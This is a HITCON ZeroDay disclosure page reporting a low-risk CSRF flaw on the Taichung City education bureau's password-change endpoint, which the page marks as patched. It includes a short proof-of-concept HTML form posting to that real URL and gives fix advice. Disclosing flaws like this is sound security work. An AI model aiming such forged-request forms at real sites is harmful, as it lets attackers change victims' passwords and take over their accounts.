臺中市政府教育局 CSRF - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00677
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 臺中市政府教育局 CSRF
  • Introduction: Cross-Site Request Forgery

處理狀態

目前狀態

公開
Last Update : 2019/08/18
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2019/07/13 16:17:32 : 新提交 (由 Noth 更新此狀態)
  • 2019/07/15 22:38:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/17 17:53:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/17 17:53:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/07/17 17:53:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/14 14:54:02 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/14 18:22:58 : 確認已修補 (由 Noth 更新此狀態)
  • 2019/08/18 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00677
  • 通報者:Cake7528064 (Noth)
  • 風險:低
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.tc.edu.tw/user/change-password

敘述

未驗證來自請求的域是否合法,也無相關 _Token 令牌做驗證。
PoC:
<html>
<head><title>CSRF</title></head>
<body>
<form enctype="application/x-www-form-urlencoded" accept-charset="UTF-8" action="https://www.tc.edu.tw/user/change-password" method="post">
<dt id="oldPassword-label"><label for="oldPassword" class="required">原密碼</label></dt>
<dd id="oldPassword-element">
<input type="password" name="oldPassword" id="oldPassword" value="" size="15"></dd>
<dt id="password-label"><label for="password" class="required">密碼(必須包含英文及數字,並在8至20字元之間)</label></dt>
<dd id="password-element">
<input type="password" name="password" id="password" value="" size="15" title="密碼設定說明:<p>為符合 ISMS 資安要求,密碼必須包含英文及數字,長度在8個字元以上</p>"></dd>
<dt id="confirmpass-label"><label for="confirmpass" class="required">再次輸入密碼</label></dt>
<dd id="confirmpass-element">
<input type="password" name="confirmpass" id="confirmpass" value="" size="15"></dd>
<dt id="act-label"> </dt><dd id="act-element">
<input type="submit" name="act" id="act" value="更改密碼"></dd></form>
</body>
</html>

修補建議

_Token做驗證
檢查referrer

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;